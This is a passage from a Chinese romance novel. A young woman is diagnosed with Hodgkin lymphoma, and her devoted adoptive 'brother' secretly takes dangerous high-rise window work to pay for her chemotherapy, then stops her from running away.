“没让你动。”闻野坐她床边,从桌上端起碗,拿着她那只专用的卡通草莓的瓷勺舀起一勺喂她:“你张嘴就行。” 林杳被他一勺勺喂着粥,耳朵染上绯红,眨了眨眼轻声道:“我小时候生病,爸爸也是这么喂我的。” 不过那也是很多年的事了,在弟弟出生之前,林钦文比沈怡还要疼她,说是当成手心里的宝都不为过。 “怎么?”闻野眉骨轻抬,故意开玩笑逗她:“不想认我当哥了,想让我当爸。” 林杳脸颊一热,幸亏病房没有其他人在,不然听到多羞耻啊。 她瞪他:“你胡说什么呀。” 她想让他当的,明明是她的男朋友。 可惜这些天她很努力多吃饭了,体重不增反降,还没来得及跳舞给他看,也还没亲手织条围巾给他。 林杳绕开话题,语气有点儿沮丧:“期末考试有几门我身体都不舒服,也不知道这次能不能拿到奖学金。” 闻野把最后一勺粥喂她吃下,宽大的手掌落在她脑袋上轻揉了一把:“你带着病考完试已经很厉害了,你拿了奖学金,就请我吃大餐,没拿换我请你。” 林杳还是更希望是她请他。 窗外天色早已黑透,她鼓了鼓腮:“你说只来医院看看的,现在又要住院,我最不喜欢住院了,晚上病房里还只有我一个人。” “明天一早就要打针,住医院更方便,今晚我陪你一块儿在这儿睡,早点把病看好,你身体也不会难受了。”闻野耐心哄道。 他去找服务台借了张折叠床过来,还没来得及展开,护士走了进来。 “林杳你家属呢?” 闻野站直身走了过去:“我就是,我是她哥。” “那你现在拿着两张单子去缴费。”护士交给他两张新的缴费单,“她还得立刻去照X光,再做个骨髓活检。” 第32章 第三十二章 我妹妹得活到一百岁 林杳只听到个照X光, 后面那个检查一下子没听清,但常识告诉她在医院检查越多越不是好事,那证明她身体可能出了不小的问题。 闻野接过那两张缴费单, 看到什么骨髓活检这四个字之后脸色顿时变得凝重, 只是在下一秒转眸看向小姑娘时, 他将眸底的不安和担忧都压了下去。 “现在这些检查都很常见,你先在这儿等着, 我去缴完费回来就带你过去。” 他语气轻松,带着几分安抚,林杳稍稍没那么害怕了,她穿上雪地靴站起来:“我跟你一块儿去吧,免得你还要来回几趟跑。” 做X光检查很快,麻烦的是骨髓活检,要局部麻醉之后用穿刺针扎进盆骨侧边的骨头缝里,全程十几分钟。【1】 闻野站在在监察室外,低头一直拿手机搜索有关这项检查的各种信息,看到图片里那根又粗又长的穿刺针时,他的心脏紧紧揪起来。 等到林杳从检查室出来, 他立刻过去扶上她,黑眸里心疼满溢, 嗓音沙哑问:“还好么, 疼不疼?” 林杳第一次被这么长的针扎, 还没从害怕中缓过来, 脸色有些苍白, 她摇了摇头:“打了麻药的,只有一点疼。” 闻野把开的止疼药拿给她吃下。 X光两小时后就能出结果,但骨髓活检的报告单要五天之后才能出来, 林杳还得继续住在病房,闻野本来白天也要留在这儿陪她,被她赶走了。 “我又不是病得不能自理,吃饭坐个电梯下去就是食堂,你在这儿还耽误我追剧呢。” 闻野想到与骨髓活检相关的疾病,什么再生性障碍贫血,骨髓纤维化,白血病,还有什么骨髓瘤。 万一真的是这些,手术费必定是一大笔,买了辆二手车之后他所剩积蓄没多少了,现在能多赚一点是一点。 于是他白天还是去纹身店给客人刺青,晚上来医院陪她。 趁他不在的时候,林杳也拿手机查了查,那些病没一个是好治的,都是会危急性命的。 她放下手机,拿被子蒙住头,咬着唇不敢发出声音被听见,眼泪流了满脸。 怎么可能不怕死呢,她连十九岁都还差一个多月,人生才刚开始,学业没有完成,很多事没有做,喜欢的人也还不知道她喜欢他。 等晚上闻野来陪她,她脸上又恢复了带笑的模样,和他津津有味分享自己看的韩剧:“男主他是外星人,超级厉害,女主开的车快要坠入悬崖了,大喊了一声男主的名字,他一下子从天而降,徒手拦住了快坠崖的汽车。” 闻野坐在病床旁的椅子上,拿着把刀给苹果削皮。 他对外星人的记忆还停留在小学,学校组织大家放的怡部ET电影,里面那外星人长得丑萌丑萌的。 听到小姑娘的描述,他只觉得这特异功能不错,要他也有就好了,万一她遇到什么危险,喊一嗓子他能立刻出现挡她前面。 “演外星人的那个韩国男明星长得帅吗?” 他知道现在好多女生追一部韩剧就迷上一部男主,彭一凡说他妹就是,今天还喊这个老公,改明看了另一部剧老公就换人了。 “挺帅的呀。”林杳点开手机,给他看男主的剧照。 闻言瞄了眼照片里单眼皮,面容清俊斯文的男人,问她:“你喜欢长这样的?” 林杳看着眼前下颚瘦削,棱角线条分明的少年,十分坚定地摇了摇头。 “多吃点水果,补充维生素。”闻野勾唇笑了声,把削完皮的苹果递她手里。 林杳接过来时,眼尖地 看见他另一只手掌内侧的一道划痕,还很新,口子很深。 “你手怎么受伤了?”她蹙起眉,担心问道。 “就今早画图削铅笔时,不小心被小刀划拉了一下,不是什么大事。”闻野不以为意道。 检查报告一天不出来,他心就高高悬着,被焦躁和不安充斥,干什么都没法专注,给客人设计纹身样稿图时也是,线条画得乱七八糟,削铅笔时频频走神去想那些可能的病。 “那也要贴创口贴啊,怎么能像你这样不管不顾的,碰水感染了怎么办。”林杳没好气道,让他帮忙把她的书包拿过来。 她张嘴咬住苹果,翻出张创口贴给他贴上,又咬了口苹果,腮帮子鼓鼓的,不高兴地瞪他:“你对我总是照顾得比什么都小心,对自己能不能上点心啊?” 闻野真觉得这一点伤在他身上没什么,又不是断手断脚的,然而对着小姑娘睁圆的杏眼,他还是压着唇角的笑,顺从地保证道:“知道了,以后会注意的。” 他拎着暖水瓶去开水房打热水。 林杳旁边的病床昨前天下午住进个阿姨。 这会儿那位阿姨主动撩开两人间隔着的帘子,笑眯眯地和她攀谈起来:“小姑娘你这男朋友对你够好的,天天晚上来陪床,看着一副冷面冷情的长相,没想到挺会疼人的。” 对于他们俩的这种误会不是一次两次了,林杳都已经习惯了,她摆摆手道:“不是阿姨,您误会了,他是我哥。” 阿姨愣了愣,有几分尴尬:“哎呦,不好意思,是我看错了。” 阿姨解释道:“主要是吧你们相处得太融洽了,一点不像我的一儿一女,动不动吵架,一点小事闹得鸡飞狗跳的,倒更像热恋里的小情侣。” 林杳眼睫动了动,心脏砰砰跳起来,可转而想到还没出结果的报告单,心又一瞬沉寂下去。 夜晚的医院很安静,闻野睡在林杳旁边的折叠陪护床上。 那床是帆布质地,人一躺上去中间就陷下去一块儿。对他来说长度不太够,腿还得蜷着点。 睡在这儿和舒适注定无缘,然而这不适不及他这几天内心的煎熬的万分之一。 白天里遮掩的忧虑和焦灼在夜晚终于藏不住,他眉头深拧,黑漆漆的瞳孔沉默又长久盯着另一张床上睡熟的小姑娘。 她睡相很乖,纤浓的长睫低低垂着。 在他一直以来的设想里,她是名牌大学的,哪方面都出众,等毕业了肯定能在外企找个很不错的工作,每天光鲜亮丽地出现在高大上的写字楼,等工作个两三年,遇上一个优秀出众,又时刻将她放在心尖的男人,再是结婚生子,顺遂又幸福地过完这一生。 怎么也不该和那些疾病沾上边,除非老天是瞎了眼,就是见不得世上有美好的存在。 闻野几乎一晚没睡,眼一直睁到天边露出鱼肚白,再等到天色大亮,林杳也醒了,他才起来,快速洗漱完之后去买早餐。 骨髓活检的报告今天终于能出来了,闻野去自助打印机那儿取了,和林杳赶在医生刚上班的点就过去了。 头发斑白的专家医生拿出白大褂套上,面容和善道:“你们先坐。” 他戴上眼镜,从少年手里接过两份报告单,脸色随着视线一行行扫过变得严肃。 闻野和林杳看在眼里,心里都有了不好的预感。 医生又把目光投向他们俩,在年过半百的医生眼里,这俩还都是孩子,他建议道:“你们要不把给家长打个电话,让家长一起听听。” 闻野心里那份不安愈发强烈,他镇定神色,沉声道:“没有家长,我是她哥,我在这儿一样的。” 医生看他们的目光又多了几分同情,缓声道:“根据检查结果看,小姑娘是得了霍奇金淋巴瘤,还是偏恶性的,之前的发烧盗汗和流感无关,只是淋巴瘤的症状显了出来。” 仿佛有一记重锣砸在耳边,林杳有短暂的耳鸣,脸色倏地一白。 闻野心脏剧烈地紧缩,喉咙艰涩地动了动,声线沙哑带着颤:“那这要怎么治疗。” 林杳脑子嗡嗡的,明明医生说的是和她切身相关的,她也最应该集中注意听着,可精神集中一下又变得恍惚,只听到什么化疗放疗,还有骨髓移植。 最后是闻野牵起她冰凉的小手,带着她走出诊室。 候诊厅里的人多了起来,有大人有小孩子,有独自来的,也有被陪着的,各种小小的交谈声汇杂在一起,响在林杳耳边,她置身于其中又像是游离在外。 她跟着闻野坐去拿了一袋子药,坐电梯下去,走出医院。 太阳已经出来了,但是没一点温度,那明晃晃饿日光照在身上都是虚的,她手脚和心都是一片冰冷。 那只紧紧包裹着她手的大掌也失去了一惯的燥热,一样冰凉,没法把温度传递给她。 闻野去街边的早餐店买了杯热豆浆塞她手里,尽量松开紧绷地唇角:“医生说了,这种瘤是所有癌症中最好治愈的,而且你还是早期,只要积极吃药化疗,肯定能治愈的。” 林杳握着豆浆,手心渐渐有了温暖,她抬起头,眼眸里憋着的泪意维持不住,眼泪大颗大颗地往下掉:“做化疗要很多钱。” 这是很现实的问题,好多家庭都因为重病负债累累,而且照顾病人也是件心力交瘁的事。 亲生的父母不要她了,养父母也把她一个人留在国内,凭什么和她一点血缘关系的闻野要管她啊? 他也才二十岁不到,人生刚刚开始,为什么要背上她这么个沉重的负担? 她眼眶泛红,鼻子一抽一抽的:“就算很多钱花了,最后也可能治不好。我已经欠你够多了,现在还生了这种无底洞的病,你别再我身上浪费了。” “你瞎说什么,治都没治呢,怎么就治不好了!”闻野拧紧眉斥道。 他语气硬邦邦的,表情也是凶巴巴的,可抬起手,给她擦眼泪时的动作却又很轻。 “钱就是你最不用担心的事,知道什么叫深藏不露不。”他扬眉,“我成年时就有笔小时候一直交的保险金到账了,到现在还没动过呢。” “还有你之前厂里的房改办不还来我们家登记了么,等房子一拆迁,那不一两百万就到账了。” 少年黑眸漆漆,看着她泪汪汪的眼,指腹将她眼尾挂着的一滴泪珠轻轻抹去,声音低低的,保证似的温柔语气。 “有我在,我妹妹得活到一百岁。” 第33章 第三十三章 今生也漂亮 然而压根就没有什么成年到账的保险金, 之前拆迁的消息闹得沸沸扬扬,这都快过去一年了,又成了没影的事。 开车回去的路上, 闻野脑子里就跟有个计算器似的飞快摁着。 买了车之后他银行卡里就剩几千块了, 这辆车买下来是三万, 转手再卖也只能卖个一万出头的价格。 那还不如不卖,以后去医院跑的次数不会少, 有辆车还是很必要的。 按照医生的说法,化疗一周一次,一次费用三千,每两个疗程要做一次PET评估,每次五千,这些医保只能报销一小部分,剩下的都要自己出。 关键是如果化疗不见好转的话想,后续就得进行骨髓移植,起码也要二三十万。 搞钱迫在眉睫。 到家之后,闻野把一袋子药哗啦啦全倒出来。 好几盒,他一样样拆开, 仔细看了几遍说明书,拿着黑的粗线笔在药盒上写下一天几次, 一次几颗, 然后照着剂量抠开, 拿给林杳吃下。 林杳原本一放寒假就要给个高二的女生补习功课, 因为之前一直以为是流感, 才往后延了几天,现在出院了,不能再拖了。 她准备今天下午就在家里好好备课。 治病要好多钱, 那么重的担子不可能让闻言一个人承担,她也得振作起来。 闻野敲门进去两趟,一趟是送杯水,一趟是盘切好的橙子,趁机多瞧了瞧她,见小姑娘情绪还算稳定才稍稍放心。 他开车去了钢铁厂,几年前厂子就因为效益不好卖了市中心的地皮,整个厂子搬到郊区了。 他过去之后找到房改办,里边坐着几个报纸和织毛衣的职工,有两个就是上次来家里登记的,对他还有印象。 闻野直截了当地问那片老房子到底什 么时候拆迁。 没有不盼着拆迁的,这大半年里来问的也是一波接一波的。 一位男职工熟练地搬出那套应对的说辞,什么开发商和政府还没协调好,什么房子的产权还不清晰,最后甩出统一的安抚话语:“拆肯定是要拆了,但也要等这些问题都解决完啊,你不要太着急了。” 闻野也知道房子的产权是个问题,要不然他就直接卖了,虽然没拆迁那么多钱,但能有个二十多万也行。 他拧眉思索几秒,又开了口:“既然你们都说很快能拆,那我把我房子二十万卖给你们,没法过户,我写字据为证。你们这边有当时统计的面积,等以后拆了起码能补偿一百五十万。” 几名职工闻言一愣,厂子已经搬走了,这片老房子绝对是要拆的,不是明年就是后年,再远点也肯定是五年之内的事。 一转个手,二十万轻轻松松就变一百五十万,这不比牛市还赚钱。 “你父母能同意啊?”其中一个职工问。 闻野眉眼沉着:“没父母,我家我做主。” 几人说不心动是假的,然而这年头二十万差不多是一个普通家庭大半生的积蓄了,一个字据终究没板上钉钉的房产证靠谱,要是以后扯起皮来说不清。 大家理智考虑一番,都不敢轻易占这便宜。 当初来家里登记的那名女职工对他和他妹妹都还有点印象,好心劝道:“这房子没房产证不好卖,你要不很缺钱的话,最好再等等,免得以后真拆了又后悔。” 闻野:“很缺钱。” 小领导呷了口茶站起来,视线上下把他一扫:“体格看着倒不错,你要是真缺钱的话,我知道个活儿,赚得挺多的,但不能恐高,而且工作时要一万个小心,稍微失误就可能摔得粉身碎骨没了命,你看你愿不愿意干。” 他话音落,就听少年毫不犹豫,斩钉截铁道道:“我去。”- 大年初一正好是林杳要做第一次化疗的时候。 一想到新年第一天,别人要么出去玩要么还在被窝睡懒觉,闻野偏偏要一大早陪着她去充斥着消毒药水的医院,一坐还是一天,林杳心里就很不好受。 闻野拿了她的围巾和帽子走过来,看见小姑娘皱着的小脸和泛红的眼圈,温声问:“怎么了,害怕?” 林杳摇了摇头,垂着眼睫闷声道:“我就是觉得我害得你很辛苦。” “亲人之间不就是相互照顾的么?”闻野绷着唇角,佯做微恼的神色,“难道我生病了,你会抛下我不管?” “当然不会。”林杳很坚定道,转而眉头又蹙起来:“你这大过年的瞎说什么啊,一点都不吉利,快呸呸呸!” 闻野配合地呸了声:“既然这样,那你还总瞎想什么,新年第一天掉眼泪也不吉利。” 林杳吸了吸鼻子,听话地眼泪憋了回去,想了想对他说了句等我回房拿个东西,噔噔噔跑上楼梯,再下来时手里拿着一条新织好的黑色围巾。 “早上挺冷的,你看你要不要戴上?”她朝他递去,有点儿紧张又期待地问。 闻野目光从小姑娘轻轻忐忑眨着的眼睫移到她手里拿着的那条黑色围巾,接过来端详了会儿,勾了勾唇问:“这哪儿买的啊?毛线摸着又软和,样式也好看。” 林杳本来还怕他不喜欢的,此刻还被夸得有点开心和骄傲了,她抬起下巴,弯起一双笑眼:“我自己织的。” “噢,这么厉害啊。”他挑眉,拖腔带调地笑起来,将世上独一无二的这条围巾戴上脖子:“真暖和。” 林杳以前听到化疗都以为要用什么机器照射身体,等她自己也生病了,才知道化疗就是打吊瓶,只是注射的药剂很多,有九袋,一打就是一整天。 林杳躺在病床上,左手扎着针,闻野怕她无聊,带了盒五子棋来陪她玩。 下了几盘,护士来给她换了瓶药水:“现在打的这瓶是反应最大的,你要忍着点。” 滴了没一会儿,林杳就感觉到了不舒服,小腹疼,腰也疼,还有点呼吸不上来,闻野立刻放下枕头,让她躺着。 林杳侧身躺下,难受地微微蜷缩着,脸色开始变白,唇瓣咬着忍耐着。 闻野看得心也紧了紧,他从裤兜摸出枚硬币:“我给你变个魔术看好不好?” 林杳虚弱地抬起长睫,只见他将一枚硬币放在掌心握紧,另只手虚空在上晃了晃两圈,然后弹了个响指,等再摊开手时,掌心里那枚硬币就凭空消失了。 她睁大眼,好奇心被勾了起来:“你是怎么做到的呀?” “再给你变一遍,你这次看好了。”闻野见她注意力都被吸引过来,同样的手法又给她演示了一遍:“这次看出来了么?” “没有。”林杳扁了扁嘴,软声央求道:“你再变慢一点,我肯定能看出来。” 闻野又变了一遍,也放慢了手上的动作,这次他还没来得及说话,旁边一个也是在化疗治疗的小男孩先兴奋地嚷起来:“我看出来啦!哥哥你偷偷松开了一会儿手,硬币就掉进袖子里啦!” 小男孩妈妈不好意思冲他们俩笑笑。 闻野看着林杳勾了勾唇,说着嘲笑的话,语气里却含着几分宠溺:“你怎么连小朋友都比不过啊。” 林杳脸颊红了红,小声狡辩道:“我就是没准备好,你要是再变个别的,我肯定能很快看出来。” “行。”闻野笑着点了点头,“那你这次准备好了啊。” 他知道化疗时间很长,他特地学了一些小魔术给小姑娘解闷。 连续几个魔术变下来,不止林杳,连隔壁床的小男孩都看得聚精会神,比赛似地看谁先看出来,化疗到来的不适感倒没那么强烈了。 每次化疗隔一周,第三次化疗之后林杳就开学了,她不太想要室友知道她生病的事,没和她们有说过,吃药也会尽量避开她们。 但一个寝室住着,难免就有被看见的时候,宋可媛从照着的镜子里看见她在吞几瓶不同的药,径直走到她桌边。 “环磷酰胺,”宋可媛从桌上拿起药瓶,看向瓶身上的说明:“用于治疗多发性骨髓瘤,恶性淋巴瘤……”【1】 林杳被她这不问自取的举动惹生气了,没等她念完,她就把药瓶从她手里抢了过来。 她皱着眉,声音冷然道:“我没允许你随便碰我东西。” 宋可媛并不觉得自己刚才多没礼貌,还很理直气壮:“你背着我们吃那么奇奇怪怪的药,谁知道是不是得了什么不干净的传染病,我和你住一间宿舍,不赶紧搞清楚,万一传染给我了怎么办?” 她这声音不小,在阳台刷牙的丛佳慧连忙过来看,已经躺床上刷剧的关倩也踩着梯子下来。 两人站在林杳身边,关切又担心地问她生什么病了。 没法再瞒了,林杳如实道:“淋巴瘤,没有传染性的。” 丛佳慧和关倩都不敢相信,还红了眼睛:“怎么会啊……” 林杳确诊最初也是很不能接受,但总被闻野很积极地影响,心态已经调整得很好了,反而能笑着安慰起她们俩:“这是癌症里最幸运的一种,是可以治愈的。” 丛佳慧和关倩还是觉得很难过,第二天林杳就感受到了特殊待遇,早八的课,三人去食堂排队早饭。 一进去,她就被按着坐下。 丛佳慧:“杳杳你吃什么跟我说,我去买。” 关倩:“我去买喝的,杳杳你喝豆浆还是牛奶?” 林杳有些不好意思,忙道:“你们不用这样,我还没病到这个地步。” “用的!” 两人异口同声,一人按着她一边肩,把刚站起来的她又按着坐了回去。 看着她们风风火火跑远的背影,林杳有些哭笑不得,心里却也暖暖的。 只是一上午不到,差不多半个系的都知道了她生病的事了,不用想都知道是宋可媛传说出去的。 一传十十传百,林杳自习时出去打水,都 听到有人议论她生病的传言是真是假。 “校花不会真应了那句老话,红颜薄命吧?” “我看着不像得了淋巴瘤的啊,她不每天都正常上课吗,而且化疗是要掉头发的啊,你看她头发还好好的呢,哪像得癌症的样子。” 等到五月份,这些怀疑的声音就都消失了。 持续一个疗程的化疗下来,她脱发的情况倒还好,但呕吐很严重,人越来越削瘦,脸色变得苍白,唇瓣失了血色,原本一双自带卧蚕,圆润灵动的杏眼,因为脸上肉太少,眼窝有点陷进去。 如今她看着特别憔悴,和从前相比,就如一朵鲜妍的花慢慢开到了枯萎的时候。 周五下午没课,闻野陪她去医院做pet评估,走前她去上了个卫生间,在水龙头下洗手时,听到有人边讲着电话边从另一侧男厕出来。 “对,我下午来医院了,还碰到了林杳,一看简直吓我一跳,她样子变得也太大了吧,演女鬼都不用化妆的。当初她多高傲啊,像个冰山美人一样,对我爱答不理,现在呵呵,倒追我我都不会多看她一眼。” 林杳听出这人的声音,是上学期开豪车在寝室楼下非要送她的徐洛,她抽出张纸擦干手上的水珠走出去。 和闻野一起走出医院,已是黄昏时分,夕阳将天际烧得通红,街边有个用布包着头的小老太太,坐在个小木凳上,竹条编的几个簸箕里铺着栀子花和茉莉花在卖。 有的茉莉花用细细的铁丝穿成手串,小的卖三块,大的卖五块,上边还缠了绿色丝带,很是漂亮。 好几个女生在买。 闻野视线掠过,也走过去买了串五块的,他低头,小心地把茉莉花手串绕在林杳细细的手腕上。 林杳很喜欢,坐上车后抬起手腕放到鼻尖轻轻嗅了嗅,清香宜人。 她眼角弯着,对闻野道:“你听过一句话没,今生戴花,来世漂亮。” 闻野自然是没听过,他修长指骨搭在方向盘上,偏头笑看她:“今生也漂亮。” “才不漂亮呢。”林杳眼神黯了黯,嘴抿得平直,小声反驳。 到底是女孩子,不可能做到对容貌完全不在意,何况还总对着喜欢的人。 闻野要踩油门的脚一松,手从方向盘上拿起,解了系着的安全带,身子朝她侧过去,眼皮撩起一条深窄的褶皱,缓声开口:“我第一次见到你,其实不是赵美莺带着你回来的那天上午。” 林杳愣了愣,抬头对上他漆黑的瞳孔,他嗓音低又磁:“我第一次见你要更早。” “那会儿隔着很大一面窗户,我看见你穿着长长的水袖长裙,我十几年第一次见这么漂亮的女孩儿,让我觉得……”他顿了顿,语气还有几分怀念:“是瑶池里的小仙子。” 林杳心跳得一快,不可思议地睁圆了眼。 黄昏橘红的光从车窗照进来,在他脸上落下浓墨重彩的一笔,五官被勾勒得更深刻硬朗。 他弯了弯唇角,声音低柔得不像话:“直到现在,此时此刻,这种感觉也未改变分毫。” 第34章 第三十四章 一巴掌拍她屁股上 林杳大一下学期是强撑着念完的, 期末考试之后她就去办了休学手续。 之后第二期化疗的频率会更高,身体的损伤和不适的反应也会更严重。 这个暑假她没法去做家教了,她一脸病容, 家长哪还敢把孩子交给她, 她找了份网上校对的兼职, 天天在家对着电脑就行。 闻野在纹身店,差不多隔一小时就给她打个电话过来, 让她休息一会儿,别把身体累坏了。 快十二点,他电话又来了:“有个客人的纹身还没做完,我中午就不回来吃饭了,你把饭菜热着自己先吃。” “那我给你装好送去吧。”林杳听完马上道。 “不用,我随便在附近买点什么吃都成,现在正是最热的时候,你别出来乱跑,小心中暑了。” 怕她还是会来,闻野想了想道:“你前两天煮的绿豆汤挺好喝的,你再煮一锅等我回来喝。” 吃完午饭, 林杳就去洗了一碗绿豆,用电煮锅煮, 怕煮糊或者溢出来了, 她得在家里盯着。 正拿着勺子搅拌时, 砰砰砰的敲门声响起, 她把火候调小, 走过去,隔着门问是谁。 “是我!”对方趾高气昂地大声道。 林杳听出是章瞳的声音,自从她明白自己对闻野的心意之后章瞳再找她帮什么忙她就没有答应了, 两人的联系因此也断了。 章瞳抱臂站在外边,一脸讥讽的怒容,等到门开了,她看到林杳现在憔悴削瘦的模样时愣了愣。 但很快,她怒意又重新积攒起来,气势汹汹地向林杳质问:“你把我当猴子耍很好玩是吗?” 林杳不解地看着她,微微皱眉:“你这话什么意思。” 章瞳从鼻子里哼出一声:“从我知道你和闻野没一点血缘关系起就觉得奇怪了,合着你们是打着兄妹的名号搞在一起啊!这样是不是觉得特刺激特有情趣啊?也就我傻,还拜托你帮我追闻野,你这么长时间看着我忙前忙后还没得他一个好脸,你心里应该特别爽吧。” “你简直莫名其妙,胡说八道!” 林杳脸色冷了下来,生气地就要关门,章瞳还没说过瘾,死死抓住她的手腕不让她动。 “呵,你还不承认,你知道闻野现在在干嘛吗?那个新建的广茂大厦,四五十层高,他就用根绳子被吊上面换玻璃。” 章瞳今天和小姐妹在那边一个餐厅吃饭,抬头一看窗外,正好瞧见闻野吊挂在半空的身影。 她觉得奇怪,之前在闻野的纹身店她碰到过几次彭一凡,她也加了他的q.q。 一开始彭一凡还支支吾吾地不愿意说,她想方设法地各种套话,才知道林杳得了淋巴瘤,闻野在赚钱给她治病。 结合着之前闻野对林杳的种种表现,她越想越不对劲。 “多少亲哥都做不到这个地步,闻野凭什么为了你这个半路认的,没一点血缘的妹妹做到这个份上?要说你们没那种关系,鬼都不信!你小小年纪,装得多清纯无辜啊,实际上早就跟闻野滚过床单了吧!” 她目光轻鄙地扫过少女憔悴的脸,话语更讥讽:“不过你现在也不漂亮了啊,还能把闻野迷得为了你去冒着生命危险,该不是床上功夫特厉害吧。” 章瞳把心里的气发完了,这才扬长而去。 林杳脸颊像被人打了一巴掌,火辣辣的疼,她有种无地自容的羞耻感,却并非因为这些尖酸的话,而是因为闻野为了她所做的事。 她找到章瞳所说的那个广贸大厦。 中午两点多钟,灼阳似火,热浪滚滚,沥青的地面烤得快要冒烟了,几乎没有行人,连车辆都少。 林杳站在空荡的大街上,抬头往上望。 眼球被强烈的太阳光刺得发酸,泪水漫了出来,她抬起手背擦了擦,终于看见几道悬在大厦半空中忙碌的身影。 其中就有她最熟悉的那个,此刻大约在四十六层的高度。 那是她光站着那儿,一动不动往下望都会脚软心里发慌的高度,而闻野现在就悬空吊在那儿,唯一的保护措施就有只系在身上的一根绳子。 稍有意外,摔下来就是粉身碎骨。 眼泪再次汹涌而出,这次怎么擦也擦不完,林杳感觉浑身血液都变得冰凉,心脏也似是被什么捏得死紧,窒息得喘不上气。 从一开始闻野就是在骗她,根本就没有一笔金额很大的保险金,每一次价格不菲的化疗和检查,都是闻野冒着粉身碎骨的危险给她赚来的。 她终于忍受不住地蹲下身,头深深埋进膝盖里,呜咽得泣不成声。 她从没有哪一刻觉得自己这么自私,不要脸,她简直就像吸血鬼一样,恬不知耻地靠吸着别人闻野的血才能活下去- 做这种活儿的工资都是现结,闻野接过递来的一沓红钞票,数了数没问题,他把钱一卷塞进裤兜。 也不是随时有客人来纹身,空闲着的时候做这个,因为工作条件艰辛,危险系数高,时薪也高,下午干了两个半小时,到手两 千块,够小姑娘一次化疗的费用了。 闻野先回了一趟纹身店,这一下午顶着大太阳高空作业,衣服都给汗湿了,一身汗臭味。 店里他备着一套干净的,他换好了才往家走,路上看到卖西瓜的推车,又挑了个无籽的麒麟瓜。 闻野拎着西瓜到家,客厅空无一人,餐桌上放着小煮锅,用个塑料罩子罩着。 趁着林杳没下来,他赶快去卫生间又冲了澡,然后才喊她下来吃西瓜。 半天没有应答。 闻野估摸她是午觉没睡醒,先把西瓜放冰箱里,走到餐桌边打算喝完绿豆汤,视线瞄到小锅底下还压着张小纸条。 他拿起来,还没看完唇角的笑意便彻底僵住,飞奔上楼,房间里没有人影,行李箱和她大半的东西都消失不见。 连着拨去三通电话,都是无法接通的状态。 夏季天气多变。 中午时还是烈日当空,热浪滚滚,转个眼的功夫天空就布满厚厚的乌云,雨珠啪嗒砸落下一滴,隔几秒又掉了一滴,不出意外很快就是场倾盆暴雨。 彭一凡拎着一袋子批发的冰棍急匆匆往家走,拐角就和跑得比他还快的人撞上,他“哎哟”了声,定眼一看,这不是野哥嘛! 这么多年了,他还是第一次见到闻野这幅慌神无措的模样,漆黑的瞳孔间溢满剧烈的不安焦急,像把什么要命的东西弄丢了。 “出什么事了啊野哥?”他跟着也担心地问。 闻野想到他表妹彭思嘉和林杳关系挺不错:“你把彭思嘉手机号给我。” 彭一凡一脸懵逼地照做了,摸他出手机翻出彭思嘉的号码:“呐,这个就是。” 闻野紧攥着手机,十几秒的嘟声无比漫长难熬,他手指控制不住地发着颤。 终于接通了,他迫不及待地开口,声线沙哑,带着卑微的恳求:“我是闻野,麻烦你帮我联系一下林杳,问清楚她在哪儿。” 等他挂了电话,彭一凡后知后觉地啊了一声:“野哥你找林杳啊?我下午好像看着她拎个行李箱坐上573路,还想着她是不是回学校,但不是已经放暑假了……” 没等他嘀咕完,眼前人已经消失得没了踪影,轰隆一声,这场暴雨下了起来,彭一凡赶紧往家里跑- 林杳坐在火车站的候车厅里,她买了隔壁市的票,现在离发车还有不到二十分钟。 掌心里的手机嗡嗡地震,她翻过来看,这次不是闻野,是彭思嘉打来的,为了避免节外生枝,她也没接。 响过几次之后安静了会儿,又有条q.q消息发来:【杳杳你在哪儿啊,怎么一直不接电话,刚才闻野让我联系你,他听声音特别着急的样子】 林杳眼睛又是一酸。 找不到更好的解决办法,她只能离开,她搬到另一个城市,打工赚点钱,能支撑着把最后的日子过完。 她当然想活下去,可她的命是命,闻野的命也是命,凭什么要让他一直默默为她付出这么多呢? 播报语音里响起她那趟班次的火车即将到站的消息,林杳深呼了口气,伸手就要去握行李箱的拉杆。 却比她更快一秒,一只冷白修长的手先搭了上去,用力到发紧的手背凸起脉络清晰的青筋。 那手还是湿的,水珠顺着手背滑落。 林杳心里紧了紧,长睫抖着抬起,只见闻野浑身湿淋淋的,黑发凌乱地搭在眉骨之上,后糟牙紧紧咬着,一双黑眸里燃着想遏制又遏制不住的火。 “九月份就要二期化疗了,你说走就走,病还怎么治?不想活了?” 少年脸是沉着的,声音也发冷,是真的气急了。 “对,我就是不想治了。”林杳眼眶红红的,倔强地抬着下巴和他对视着:“治又治不好,每次化疗还那么难受,这么活着有什么意思。生死有命,这就是我的命,我认命了。” 闻野被气得肝疼,和她讲不通道理,干脆先把人给带回去。 林杳见他松开了握着她行李箱拉杆的手,以为他是妥协了,结果他弯了弯腰,她脚下猝不及防地一空,直接被他扛在了肩上。 闻野一只胳膊紧紧锢着她乱动的双腿,另只手拽起行李箱往外走,肩上的人瘦得只剩一把骨头似的,轻得要命,他心疼死了,那股气一下也就消了大半。 林杳懵过之后挣扎着要下来,着急地拿手拍打着他背:“你放开我,我不跟你回去!” 闻野根本不为所动,脚步非但不停还加快了,一位好心人见状走过来,担忧地问林杳:“姑娘需要我帮你报警吗?” “不用不用。”林杳忙拒绝,怎么也没必要闹到警察局去。 好心人却以为她是害怕,那少年看着也是一脸凶相,正迟疑着要不要自己帮她把警报了,少年侧头,冷冰冰一眼横了过来。 “老子是她哥,哥哥管妹妹,天经地义,报个屁的警。” 林杳眼泪又因这句话簌簌地掉下来,他们哪有什么血缘关系,就像章瞳说的,多少亲哥都做不到这个地步,闻野凭什么要被她拖累成这样啊。 “你才不是我哥呢,我们没有关系,我不要你管我。”她眼泪啪嗒啪嗒掉下来,抽搭着说着小白眼狼的话。 肩膀上的人挣扎得更厉害,两只细细的腿动来动去,差点要掉下去,闻野不止是肝了,气得五脏六腑都他妈疼起来。 他一手更紧地搂住她,另只手抬起,一巴掌拍她屁股上,啪的一声清脆声响。 他冷着声警告:“别乱动,真掉下去把你摔得疼死。” 林杳被那一巴掌拍得面红耳赤,羞耻得停止了挣扎,只听他从胸腔哼出一声,从牙缝里挤出发狠的,恶声恶气的话。 “我活着一天,就管你一天,真想让我不管你,那你不如盼着我早死。” 第35章 第三十五章 捂着她脚 闻野在火车站外拦了辆出租, 他没有开车来,就他之前那心焦如焚的状态,上路估计就是一个油门踩到底。 他拉开后车厢的门, 把肩膀上扛着的小姑娘一把塞进里面, 又把行李箱放到后备箱, 冒着雨从行李箱里翻找出一件外套。 他人随即也坐上后边,“砰”一声响, 车门被甩上,手里的那外套往身旁林杳怀里一塞,语气冷硬:“穿上。” 